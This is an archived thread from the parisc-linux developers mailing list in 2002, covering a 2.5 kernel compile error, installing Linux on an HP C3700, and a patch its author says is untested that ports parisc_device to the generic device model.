X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16671

Hi,

I had not been following these lists and parisc development for more
than half a year now.

I saw a post on 2.5 kernel in the archive for november but do not know
if this is the right place.

Nevertheless Willy and the ohers for sure are reading this ;-)

Are there any updates or fixes or do I need to have a look at it myself ?
This is a bk pull from 20021108-165510 UTC.


  gcc -Wp,-MD,arch/parisc/kernel/.setup.o.d -D__KERNEL__ -Iinclude -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing -fno-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -nostdinc
-iwithprefix include    -DKBUILD_BASENAME=setup   -c -o arch/parisc/kernel/setup.o arch/parisc/kernel/setup.c
arch/parisc/kernel/setup.c: In function `parisc_proc_mkdir':
arch/parisc/kernel/setup.c:215: warning: enumeration value `pcx' not handled in switch
arch/parisc/kernel/setup.c:215: warning: enumeration value `pcxs' not handled in switch
arch/parisc/kernel/setup.c:215: warning: enumeration value `pcxt' not handled in switch
  gcc -Wp,-MD,arch/parisc/kernel/.traps.o.d -D__KERNEL__ -Iinclude -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing -fno-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -nostdinc
-iwithprefix include    -DKBUILD_BASENAME=traps   -c -o arch/parisc/kernel/traps.o arch/parisc/kernel/traps.c
  gcc -Wp,-MD,arch/parisc/kernel/.time.o.d -D__KERNEL__ -Iinclude -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing -fno-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -nostdinc
-iwithprefix include    -DKBUILD_BASENAME=time   -c -o arch/parisc/kernel/time.o arch/parisc/kernel/time.c
  gcc -Wp,-MD,arch/parisc/kernel/.irq.o.d -D__KERNEL__ -Iinclude -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing -fno-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -nostdinc -iwithprefix
include    -DKBUILD_BASENAME=irq   -c -o arch/parisc/kernel/irq.o arch/parisc/kernel/irq.c
arch/parisc/kernel/irq.c: In function `show_interrupts':
arch/parisc/kernel/irq.c:238: subscripted value is neither array nor pointer
arch/parisc/kernel/irq.c: In function `do_irq':
arch/parisc/kernel/irq.c:375: subscripted value is neither array nor pointer
make[1]: *** [arch/parisc/kernel/irq.o] Error 1
make: *** [arch/parisc/kernel] Error 2

Thanks.

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 kernel compilation error
Date: Fri, 8 Nov 2002 21:13:01 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20021108211301.Q12011@parcelfarce.linux.theplanet.co.uk>
References: <Pine.BSF.4.44.0211082101420.32930-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621887 16489 80.91.229.3 (22 Nov 2014 02:04:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  8 14:13:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D37D14829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 14:13:08 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18AGR3-0000Zo-00; Fri, 08 Nov 2002 21:13:01 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.BSF.4.44.0211082101420.32930-100000@e0-0.zab2.int.zabbadoz.net>; from bzeeb-lists@lists.zabbadoz.net on Fri, Nov 08, 2002 at 09:05:51PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16672

On Fri, Nov 08, 2002 at 09:05:51PM +0000, Bjoern A. Zeeb wrote:
> I had not been following these lists and parisc development for more
> than half a year now.
> 
> I saw a post on 2.5 kernel in the archive for november but do not know
> if this is the right place.
> 
> Nevertheless Willy and the ohers for sure are reading this ;-)
> 
> Are there any updates or fixes or do I need to have a look at it myself ?
> This is a bk pull from 20021108-165510 UTC.

We're not fully integrated into Linus' tree yet.  We're a damn sight
closer than we have been ever before, but you still need either latest
CVS or download a patch.  If you're interested in 2.5, i recommend CVS
since fixes get made on an hourly basis.  Last night's snapshot is ~130k
gzipped, or 500k uncompressed.  About 90% of that is drivers/video,
drivers/input and drivers/scsi.

If you do want a patch, http://ftp.parisc-linux.org/2.5/kernel-src/
is updated nightly (around 5am MST, i believe).

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Patrick" <p0six@gmx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trouble!
Date: Fri, 8 Nov 2002 23:18:00 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <000901c28774$b38b1d70$d84641d5@posix9bwvzy1lo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0006_01C2877D.147997D0"
X-Trace: ger.gmane.org 1416621887 16492 80.91.229.3 (22 Nov 2014 02:04:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:47 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  8 15:18:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 936D24829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 15:18:11 -0700 (MST)
Original-Received: (qmail 18047 invoked by uid 0); 8 Nov 2002 22:18:06 -0000
Original-Received: from h216n3fls21o906.telia.com (HELO posix9bwvzy1lo) (213.65.70.216)
  by mail.gmx.net (mp007-rz3) with SMTP; 8 Nov 2002 22:18:06 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2720.3000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16673

This is a multi-part message in MIME format.

------=_NextPart_000_0006_01C2877D.147997D0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi!
I'm working with a hp c3700 workstation, with nothing what so ever =
installed on the machine.=20
And I want to install parisc-linux onto it.
During bootstage (from CD-rom) the usual is printed to the screen =
"interract with IPL y/n?" I press y and the system asks if I want to =
change anything in the kernel, since I'm new to this kernelconfig thing =
I was wondering if that might be the problem? Maybe I need to edit those =
lines?
because if I just continue booting without editing those lines the =
system dumbs a lot of adresses to the screen and that's it.

I would apreciate som help!

------=_NextPart_000_0006_01C2877D.147997D0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2719.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I'm working with a hp c3700 =
workstation, with=20
nothing what so ever installed on the machine. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>And I want to install parisc-linux onto =

it.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>During bootstage (from CD-rom) the =
usual is printed=20
to the screen "interract with IPL y/n?" I press y and the system asks if =
I want=20
to change anything in the kernel, since I'm new to this kernelconfig =
thing I was=20
wondering if that might be the problem? Maybe I need to edit those=20
lines?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>because if I just continue booting =
without editing=20
those lines the system dumbs a lot of adresses to the screen and that's=20
it.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I would apreciate som=20
help!</FONT></DIV></BODY></HTML>

------=_NextPart_000_0006_01C2877D.147997D0--



From - Thu Nov 08 21:25:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Zahorik <matt@hottub.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble!
Date: Fri, 8 Nov 2002 14:36:12 -0800 (PST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.40.0211081427420.17389-100000@hottub>
References: <000901c28774$b38b1d70$d84641d5@posix9bwvzy1lo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621888 16495 80.91.229.3 (22 Nov 2014 02:04:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Patrick <p0six@gmx.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  8 15:38:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hottub.hottub.org (hottub.org [66.60.164.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 953B94829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 15:38:05 -0700 (MST)
Original-Received: by hottub.hottub.org (Postfix, from userid 1100)
	id 006F3213BD; Fri,  8 Nov 2002 14:36:12 -0800 (PST)
Original-Received: from localhost (localhost [127.0.0.1])
	by hottub.hottub.org (Postfix) with ESMTP
	id ED3D5213BB; Fri,  8 Nov 2002 14:36:12 -0800 (PST)
X-X-Sender: matt@hottub
In-Reply-To: <000901c28774$b38b1d70$d84641d5@posix9bwvzy1lo>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16674

On Fri, 8 Nov 2002, Patrick wrote:

> I'm working with a hp c3700 workstation, with nothing what so ever installed

I had the same problem on a J6700.  The C3700 is just like a J6700 but
with one processor.

You need a more recent kernel than the one that comes with the debian 3.0
installer.  Go to ftp://ftp.parisc-linux.org/cd-images/testing/auto-isos/ and grab
palinux-2.4.19-pa19 installation ISOs.  2.4.19-pa21 PDC didn't work for
me.

Grab the kernel after installation and manually copy it to
/target/boot/vmlinux BEFORE YOU REBOOT.  The stock kernel that is
installed is, once again, not recent enough.  The kernel may be in
the ISO - there are also precompiled test kernels in other directories on
ftp.parisc-linux.org.

I used the lifimage to netboot.  Your mileage may vary.

Thanks!

- Matt

ps.  I probably won't see replies since I'm out of town for a week
starting tonight.



From - Thu Nov 08 21:25:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Adam J. Richter" <adam@yggdrasil.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Fri, 8 Nov 2002 17:28:05 -0800
Lines: 432
Approved: news@gmane.org
Message-ID: <200211090128.RAA31693__2434.04605794257$1416621888$gmane$org@adam.yggdrasil.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621888 16498 80.91.229.3 (22 Nov 2014 02:04:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:48 +0000 (UTC)
Cc: andmike@us.ibm.com, hch@lst.de,
	parisc-linux@lists.parisc-linux.org
To: James.Bottomley@steeleye.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  8 18:28:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from freya.yggdrasil.com (h-64-105-136-52.SNVACAID.covad.net [64.105.136.52])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A5D84829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 18:28:29 -0700 (MST)
Original-Received: from adam.yggdrasil.com (adam.yggdrasil.com [209.249.10.6])
	by freya.yggdrasil.com (8.9.3/8.9.3) with ESMTP id RAA09099;
	Fri, 8 Nov 2002 17:28:11 -0800
Original-Received: (from adam@localhost)
	by adam.yggdrasil.com (8.9.3/8.9.3) id RAA31693;
	Fri, 8 Nov 2002 17:28:05 -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16675

James Bottomley wrote:
>A full abstraction would require the sync point functions that the 53c700 uses
>so that they can optimize away on unnecessary architectures.

	For the moment, I've added the following inline routine to
my linux/dma-ops.h in my generic DMA mapping patch.  I haven't even
tried to compile it, but you should get the picture.

extern void (*_wback_fake_consistent)(void *vaddr, int len);
static inline void wback_fake_consistent(void *vaddr, int len)
{
#ifdef DMA_CONSISTENT_IS_FAKE
	(*_wback_fake_consistent)(vaddr, len);
#endif
}

	The parisc initialization can set _wback_fake_consistent to
either a no-op or dma_cache_wback depending on the architecture that
it is booted on.

>If you're
>signing up to do this right, then I can try it out in the 53c700.  I still
>have two parisc machines, one which cannot do consistent allocations and one
>which can.

	I'll sign up to try if you'll help me, and, most importantly,
to me, get it shepherded into Linus's tree promptly once it looks good.

	To start with, here is another completely untested patch that
I haven't even tried to compile that attempts to port the parisc device
type to the generic device model.  I have deliberately not included any
changes that would make it dependent on my generic DMA routine facility.

	If we could get this patch working, "blessed" as needed,
and into Linus's releases, then I think that would simplify adding
a fake_dma_consistent mechanism that the drivers/net/lasi_82596.c
and drivers/scsi/{lasi700,53c700,etc.}.c could use.

	I think it would be much easier to get this patch integrated
first, as that the next step will probably rely heavily on it.

	One question about the machine that has no consistent memory
option: does it take PCI cards?  If so, then all PCI device drivers
should theoretically use something like wback_fake_consistent.
If not, then it sounds like the facility needs only to apply to
generic DMA operations for "parisc" bus cards.

	I've added parisc-linux@lists.parisc-linux.org to the
cc list and plan to drop linux-scsi from this tangent in my subsequent
responses.

Adam J. Richter     __     ______________   575 Oroville Road
adam@yggdrasil.com     \ /                  Milpitas, California 95035
+1 408 309-6081         | g g d r a s i l   United States of America
                         "Free Software For The Rest Of Us."



diff -u -r linux-2.5.46/include/asm-parisc/hardware.h linux/include/asm-parisc/hardware.h
--- linux-2.5.46/include/asm-parisc/hardware.h	Wed Oct 30 21:32:15 2002
+++ linux/include/asm-parisc/hardware.h	Fri Nov  8 01:49:09 2002
@@ -1,6 +1,7 @@
 #ifndef _PARISC_HARDWARE_H
 #define _PARISC_HARDWARE_H
 
+#include <linux/device.h>
 #include <asm/pdc.h>
 
 struct parisc_device_id {
@@ -26,14 +27,10 @@
 struct parisc_device {
 	unsigned long   hpa;		/* Hard Physical Address */
 	struct parisc_device_id id;
-	struct parisc_device *parent;
-	struct parisc_device *sibling;
-	struct parisc_device *child;
-	struct parisc_driver *driver;	/* Driver for this device */
-	void		*sysdata;	/* Driver instance private data */
 	char		name[80];	/* The hardware description */
 	int		irq;
 
+	struct device	device;
 	char		hw_path;        /* The module number on this bus */
 	unsigned int	num_addrs;	/* some devices have additional address ranges. */
 	unsigned long	*addr;          /* which will be stored here */
@@ -66,10 +63,10 @@
 extern char *cpu_name_version[][2]; /* mapping from enum cpu_type to strings */
 
 struct parisc_driver {
-	struct parisc_driver *next;
 	char *name; 
 	const struct parisc_device_id *id_table;
 	int (*probe) (struct parisc_device *dev); /* New device discovered */
+	struct device_driver driver;
 };
 
 struct io_module {
@@ -128,6 +125,26 @@
 #define HPHW_FAULTY    31
 
 
+static inline struct parisc_device *to_parisc_dev(struct device *dev)
+{
+	return container_of(dev, struct parisc_device, device);
+}
+
+static inline struct parisc_driver *to_parisc_drv(struct driver *dev)
+{
+	return container_of(drv, struct parisc_driver, driver);
+}
+
+static inline void *parisc_get_drvdata(struct parisc_device *pa_dev)
+{
+	return dev_get_drvdata(pa_dev->device);
+}
+
+static inline void parisc_set_drvdata(struct parisc_device *pa_dev, void *ptr)
+{
+	dev_set_drvdata(pa_dev->device, ptr);
+}
+
 /* hardware.c: */
 extern const char *parisc_hardware_description(struct parisc_device_id *id);
 extern enum cpu_type parisc_get_cpu_type(unsigned long hversion);
@@ -135,12 +152,13 @@
 struct pci_dev;
 
 /* drivers.c: */
+extern struct bus_type parisc_bus_type;
 extern struct parisc_device *alloc_pa_dev(unsigned long hpa,
 		struct hardware_path *path);
 extern int register_parisc_device(struct parisc_device *dev);
 extern int register_parisc_driver(struct parisc_driver *driver);
 extern int count_parisc_driver(struct parisc_driver *driver);
-extern int unregister_parisc_driver(struct parisc_driver *driver);
+extern void unregister_parisc_driver(struct parisc_driver *driver);
 extern void walk_central_bus(void);
 extern void fixup_child_irqs(struct parisc_device *parent, int irqbase,
 		int (*choose)(struct parisc_device *parent));
diff -u -r linux-2.5.46/arch/parisc/kernel/drivers.c linux/arch/parisc/kernel/drivers.c
--- linux-2.5.46/arch/parisc/kernel/drivers.c	Mon Nov  4 21:35:43 2002
+++ linux/arch/parisc/kernel/drivers.c	Fri Nov  8 02:05:25 2002
@@ -27,17 +27,8 @@
 /* See comments in include/asm-parisc/pci.h */
 struct pci_dma_ops *hppa_dma_ops;
 
-static struct parisc_driver *pa_drivers;
 static struct parisc_device root;
 
-/* This lock protects the pa_drivers list _only_ since all parisc_devices
- * are registered before smp_init() is called.  If you wish to add devices
- * after that, this muct be serialised somehow.  I recommend a semaphore
- * rather than a spinlock since driver ->probe functions are allowed to
- * sleep (for example when allocating memory).
- */
-static spinlock_t pa_lock = SPIN_LOCK_UNLOCKED;
-
 #define for_each_padev(dev) \
 	for (dev = root.child; dev != NULL; dev = next_dev(dev))
 
@@ -53,20 +44,13 @@
  */
 struct parisc_device *next_dev(struct parisc_device *dev)
 {
-	if (dev->child) {
-		return check_dev(dev->child);
-	} else if (dev->sibling) {
-		return dev->sibling;
-	}
+	struct device *next =
+		list_entry(dev->device.next, struct device, g_list);
 
-	/* Exhausted tree at this level, time to go up. */
-	do {
-		dev = dev->parent;
-		if (dev && dev->sibling)
-			return dev->sibling;
-	} while (dev != &root);
-
-	return NULL;
+	if (next->parent == NULL) /* end of list.  back at root */
+		return NULL;
+	else
+		return container_of(next, struct parisc_device, device);
 }
 
 /**
@@ -74,8 +58,11 @@
  * @driver: the PA-RISC driver to try
  * @dev: the PA-RISC device to try
  */
-static int match_device(struct parisc_driver *driver, struct parisc_device *dev)
+static int
+parisc_match_device(struct device_driver *gendrv, struct device *gendev)
 {
+	struct parisc_driver *driver = to_parisc_driver(gendrv);
+	struct parisc_device *dev = to_parisc_device(gendev);
 	const struct parisc_device_id *ids;
 
 	for (ids = driver->id_table; ids->sversion; ids++) {
@@ -96,10 +83,14 @@
 	return 0;
 }
 
-static void claim_device(struct parisc_driver *driver, struct parisc_device *dev)
+static int parisc_device_probe(struct device *dev)
 {
-	dev->driver = driver;
-	request_mem_region(dev->hpa, 0x1000, driver->name);
+	struct parisc_device *pa_dev = to_parisc_device(dev);
+	struct parisc_driver *pa_drv = to_parisc_driver(dev->driver);
+	int err = (*pa_drv->probe)(pa_dev);
+	if (!err)
+		request_mem_region(dev->hpa, 0x1000, driver->name);
+	return err;
 }
 
 /**
@@ -108,37 +99,22 @@
  */
 int register_parisc_driver(struct parisc_driver *driver)
 {
-	struct parisc_device *device;
-
-	if (driver->next) {
-		printk(KERN_WARNING 
-		       "BUG: Skipping previously registered driver: %s\n",
-		       driver->name);
-		return 1;
-	}
-
-	for_each_padev(device) {
-		if (device->driver)
-			continue;
-		if (!match_device(driver, device))
-			continue;
-
-		if (driver->probe(device) < 0)
-			continue;
-		claim_device(driver, device);
-	}
+	driver->driver.bus_type = &parisc_bus_type;
+	driver->driver.probe = parisc_device_probe;
+	return driver_register(&driver->driver);
+}
 
-	/* Note that the list is in reverse order of registration.  This
-	 * may be significant if we ever actually support hotplug and have
-	 * multiple drivers capable of claiming the same chip.
-	 */
-
-	spin_lock(&pa_lock);
-	driver->next = pa_drivers;
-	pa_drivers = driver;
-	spin_unlock(&pa_lock);
+struct count_arg {
+	struct driver *driver;
+	int count;
+};
 
-	return 0;
+static void count_callback(struct device *dev, void *data)
+{
+	struct count_arg *arg = data;
+	
+	if (parisc_match_device(&arg->driver, dev))
+		(arg->count)++;
 }
 
 /**
@@ -148,17 +124,14 @@
  * Use by IOMMU support to "guess" the right size IOPdir.
  * Formula is something like memsize/(num_iommu * entry_size).
  */
-int count_parisc_driver(struct parisc_driver *driver)
+int count_parisc_driver(struct parisc_driver *pa_driver)
 {
-	struct parisc_device *device;
-	int cnt = 0;
-
-	for_each_padev(device) {
-		if (match_device(driver, device))
-			cnt++;
-	}
-
-	return cnt;
+	struct count_arg arg;
+  
+	arg.driver = &pa_driver->driver;
+	arg.count = 0;
+	bus_for_each_dev(arg.driver->bus, &arg, count_callback);
+	return arg.count;
 }
 
 
@@ -167,42 +140,9 @@
  * unregister_parisc_driver - Unregister this driver from the list of drivers
  * @driver: the PA-RISC driver to unregister
  */
-int unregister_parisc_driver(struct parisc_driver *driver)
+void unregister_parisc_driver(struct parisc_driver *driver)
 {
-	struct parisc_device *dev;
-
-	spin_lock(&pa_lock);
-
-	if (pa_drivers == driver) {
-		/* was head of list - update head */
-		pa_drivers = driver->next;
-	} else {
-		struct parisc_driver *prev = pa_drivers;
-
-		while (prev && driver != prev->next) {
-			prev = prev->next;
-		}
-
-		if (!prev) {
-			printk(KERN_WARNING "unregister_parisc_driver: %s wasn't registered\n", driver->name);
-		} else {
-			/* Drop driver from list */
-			prev->next = driver->next;
-			driver->next = NULL;
-		}
-
-	}
-
-	spin_unlock(&pa_lock);
-
-	for_each_padev(dev) {
-		if (dev->driver != driver)
-			continue;
-		dev->driver = NULL;
-		release_mem_region(dev->hpa, 0x1000);
-	}
-
-	return 0;
+	driver_unregister(&driver->driver);
 }
 
 static struct parisc_device *find_device_by_addr(unsigned long hpa)
@@ -335,7 +275,8 @@
 	memset(dev, 0, sizeof(*dev));
 	dev->hw_path = id;
 	dev->id.hw_type = HPHW_FAULTY;
-	dev->parent = parent;
+	dev->device.bus_type = &parisc_bus_type;
+	dev->device.parent = &parent->device;
 	dev->sibling = *insert;
 	*insert = dev;
 	return dev;
@@ -429,32 +370,11 @@
  *
  * Search the driver list for a driver that is willing to manage
  * this device.
+ * WARNING: This routine now returns 0 on success. --Adam J. Richter 2002.11.08
  */
 int register_parisc_device(struct parisc_device *dev)
 {
-	struct parisc_driver *driver;
-
-	if (!dev)
-		return 0;
-
-	if (dev->driver)
-		return 1;
-	
-	spin_lock(&pa_lock);
-
-	/* Locate a driver which agrees to manage this device.  */
-	for (driver = pa_drivers; driver; driver = driver->next) {
-		if (!match_device(driver,dev))
-			continue;
-		if (driver->probe(dev) == 0)
-			break;
-	}
-
-	if (driver != NULL) {
-		claim_device(driver, dev);
-	}
-	spin_unlock(&pa_lock);
-	return driver != NULL;
+	return device_register(&dev->device);
 }
 
 #define BC_PORT_MASK 0x8
@@ -588,3 +508,8 @@
 		print_parisc_device(dev);
 	}
 }
+
+struct bus_type parisc_bus_type = {
+	.name =		"parisc",
+	.match =	parisc_match_device,
+};
diff -u -r linux-2.5.46/arch/parisc/kernel/processor.c linux/arch/parisc/kernel/processor.c
--- linux-2.5.46/arch/parisc/kernel/processor.c	Mon Nov  4 21:35:44 2002
+++ linux/arch/parisc/kernel/processor.c	Fri Nov  8 01:00:32 2002
@@ -370,9 +370,9 @@
 };
 
 static struct parisc_driver cpu_driver = {
-	name:		"CPU",
-	id_table:	processor_tbl,
-	probe:		processor_probe
+	.name =		"CPU",
+	.id_table =	processor_tbl,
+	.probe =	processor_probe
 };
 
 /**
diff -u -r linux-2.5.46/drivers/parisc/sba_iommu.c linux/drivers/parisc/sba_iommu.c
--- linux-2.5.46/drivers/parisc/sba_iommu.c	Fri Nov  8 01:28:15 2002
+++ linux/drivers/parisc/sba_iommu.c	Fri Nov  8 01:43:35 2002
@@ -1988,7 +1988,7 @@
 		return(1);
 	}
 
-	dev->sysdata = (void *) sba_dev;
+	parisc_set_drvdata(dev, sba_dev);
 	memset(sba_dev, 0, sizeof(struct sba_device));
 
 	for(i=0; i<MAX_IOC; i++)
